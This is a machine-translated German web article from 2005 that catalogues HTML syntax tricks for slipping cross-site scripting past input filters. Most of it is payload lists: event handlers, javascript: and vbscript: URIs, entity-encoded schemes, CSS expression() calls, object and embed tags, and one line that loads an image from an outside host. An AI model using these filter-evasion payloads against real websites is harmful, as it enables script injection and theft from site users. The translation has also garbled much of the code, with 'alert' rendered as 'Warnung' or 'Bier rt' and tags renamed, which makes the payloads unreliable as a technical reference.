This page has been robot translated, sorry for typos if any. Original content here.

Funktionen der HTML-Syntax

Creators: Algol , zFailure - letzte Änderungen 13.06.2005

Eine der wichtigsten Methoden, um Websites vor XSS-Sicherheitsanfälligkeiten zu schützen, besteht in der Verwendung verschiedener Filter für Benutzereingabezeichen. Dieser Artikel beschreibt die Features der HTML-Syntax, mit denen Sie diese Filter umgehen können.

Es sollte beachtet werden, dass XSS-Schwachstellen vom Browser abhängig sind. Alle folgenden Beispiele wurden in IE6 getestet. In anderen Versionen oder in anderen Browsern funktionieren die Beispiele möglicherweise nicht. Beispielsweise ist das Zeichen des umgekehrten Apostrophs (`) nur im IE ein Attributbegrenzer. Andere Browser, wie z. B. Opera, betrachten dieses Symbol nicht als trügerisch.

  • Trennzeichen für Tag-Attribute
    Zusätzlich zum Leerzeichen können die folgenden Symbole verwendet werden: Schrägstrich ( / ), Tabellierung, Zeilenvorschub. Das Trennzeichen darf weggelassen werden, wenn die vorherige Verbindung in Anführungszeichen eingeschlossen ist.
     <image / src = "1.png" / alt = "Hinweis" / border = "0">
     <image src = "1.png" alt = "Tipp" border = "0">
     <Bild
     src = "1.png"
     alt = "Hinweis"
     border = "0">
     <image src = "1.png" alt = "Tipp" border = "0">
    
  • Tag-Attribut-Begrenzer
    Werte dürfen auch in Apostrophen in Anführungszeichen eingeschlossen werden (doppelt auch einzeln), nur die allgemeine Berechtigung ist nicht eingeschränkt.
     <image src = "" alt = "Mein Tipp" border = "0">
     <image src = "" alt = 'Mein Tipp' border = "0">
     <image src = "" alt = `Mein Tipp` border =" 0 ">
     <image src = "" alt = Tipprand = "0">
    
  • Zeichenkodierungen
    Die Entschlüsselung von Symbolen im Skript erfolgt vor der Ausführung:
      <img src = javascript: alert (& quot; ok & quot;)>
     <img src = javascript: alert (& # 039; ok & # 039;)>
     <Img src = & # 106 & # 97 & # 118 & # 97 & # 115 & # 99 & # 114 & # 105 & # 112 & # 116 & # 58 & # 97 & # 108 & # 101 & # 114 & # 116 & # 40 & # 39 & # 111 & # 107 & # 39 & # 41>
     <a href=javascript:alert(%22ok%22)> klick mich </a> (nur im Attribut href )
    
    
  • Begrenzer von Zeichenliteralen in Skripten
     <img src = javascript: Warnung ('ok')>
     <img src = javascript: alarm ("ok")>
     <img src = javascript: a = / ok /; Warnung (a.Quelle)>
     <img src = javascript: alert (String.fromCharCode (111,107))>
    
  • Die Filterung einiger Zeichen wird umgangen
      <img src = javascript: i = new / ** / Bild (); i.src = 'http: //bla.bla'> (ersetzt das Leerzeichen durch ein / ** /)
    
    
  • Möglichkeiten zum Ausführen von Skripts
    Mehrere Möglichkeiten zum automatischen Ausführen von Skripts:
      <script> alert ('ok') </ script>
     <Skript src = 1.js> </ script>
     <body onLoad = Warnung ('ok')>
     <Meta http-equiv = Inhalt aktualisieren = 0; url = javascript: alert ('ok')>
     <image src = 1.png onload = Warnung ('ok')>
     <image src = javascript: alert ('ok')>
     <image src = "" onerror = Warnung ('ok')>
     <hr style = Hintergrund: URL (javascript: alert ('ok')))>
     <span style = top: ausdruck (alarm ('ok')))> </ span>
     <span sss = "alert (); this.sss = null" style = top: ausdruck (eval (this.sss));> </ span> (funktioniert nur einmal) <style type = "text / css"> @ import url (javascript: alert ('ok')); </ style>
     <object classid = clsid: ae24fdae-03c6-11d1-8b76-0080c744f389> <paramname = url wert = javascript: alert ('ok')> </ object>
     <embed src = javascript: alert ('ok'); this.avi>
     <embed src = javascript: alert ('ok'); this.wav>
     <iframe src = javascript: alert ('ok')> (nur im IE) <a href=javascript:alert(%22ok%22)> klick mich </a> ( starte nur, wenn du auf den Link klickst ) <a href = javascript: alert ('aaa' + eval ('alert (); i = 2 + 2') + 'bbb')> klick mich </a> (starte nur, wenn du auf den Link klickst ) <br SIZE = "& {alert ('XSS')} "> (nur Netscape 4.x)
    
    
  • Verschiedene Skriptprotokolle, Möglichkeiten, sie zu schreiben
      <img src = javascript: alert ()>
     <img src = vbscript: AleRt ()>
     <img src = JaVasCriPt: alert ()>
     <img src = "javascript: alert ()"> (Leerzeichen bis zu Javascript)
     
     <img src = & # 106 & # 97 & # 118 & # 97 & # 115 & # 112 & # 116: alert ()>
     <img src = javascript & # 9: alert ()>
     <img src = javascript & # 10: alert ()>
     <img src = javascript & # 13: alert ()>
     <img src = "Javascript
     : alert () "> (vor dem Doppelpunkt - das Tabulatorzeichen)
     
     <img src = "Java
     Scri
     pt: Bier
     rt () "> (innerhalb des Wortes Javascript - das Tab-Zeichen gibt auch den Wagen zurück)
     
    
  • Skripte im Stil einfügen
    Skriptoperatoren im Stilattribut müssen " \; " teilen.
     <hr style = 'Hintergrund: URL (javascript: alert (' ok 1 ') \; alert (' ok 2 '))'>
    
  • Spezielle Tags
      <image src = "1.png" alt = "" border = "0"> (der img funktioniert auch auf die gleiche Weise) <plaintext> (alles, was nach diesem Tag verschoben wird, wird als einfacher Text behandelt - nicht HTML) <textarea> (alles, was später bewegt wird, wird als Klartext erkannt - nicht als HTML) <xml> (alles, was später verschoben wird, wird in keiner Weise angezeigt)
    
    
  • Tabelle der häufig verwendeten Codes:

    Symbol Dezimale Codierung 16. Zeichencodierung * Zeichencodierung URL-Codierung
    " & # 34 & # x22; & quot; % 22
    " & # 39 & # x27; % 27
    " & # 96 & # x60; % 60
    <Leerzeichen> & # 32 & # x20; +
    <tab> & # 9 & # x09; % 09
    <Wagenrücklauf> & # 13 & # x0D; % 0D
    = & # 61 & # x3D; % 3D
    < & # 60 & # x3C; & lt; lt % 3C
    > & # 62 & # x3E; & gt % 3E
    \ & # 92 & # x5C; % 5C
    % & # 37 & # x25; % 25
    + & # 43 & # x2B; % 2B
    <kurzer Bindestrich> & # 173 & # xAD; & schüchtern % AD
    & & # 38 & # x26; & amp; % 26

    * - In einigen Fällen kann ein Semikolon weggelassen werden (wenn sich das Zeichen am Ende der Zeile befindet oder nacheinander mehrere Zeichen in dieser Codierung vorhanden sind).

    Siehe ähnlich: http://ha.ckers.org/xss.html
  • Es wird nicht überflüssig sein, dass Ihre Freunde diese Informationen kennen, teilen Sie ihren Artikel mit ihnen!

    Erweitern / Reduzieren Expand / Collapse Box mit Kommentaren

    Kommentare

    Wenn Sie sich dazu äußern, denken Sie daran, dass der Inhalt und der Ton Ihrer Botschaft die Gefühle echter Menschen verletzen, Respekt und Toleranz gegenüber Ihren Gesprächspartnern zeigen können, selbst wenn Sie ihre Meinung, Ihr Verhalten in den Bedingungen der Meinungsfreiheit und Anonymität des Internets, nicht ändern nicht nur virtuell, sondern auch die reale Welt. Alle Kommentare sind aus dem Index versteckt, Spam wird kontrolliert.
    Jetzt kann jeder Artikel veröffentlichen
    Probieren Sie es zuerst aus!
    Schreibe einen Artikel
    Gefiel es? RSS- Nachrichten abonnieren,
    der Erste zu sein, der Informationen erhält
    über alle wichtigen Ereignisse des Landes und der Welt.
    Sie können auch shram.kiev.ua unterstützen, klicken Sie auf: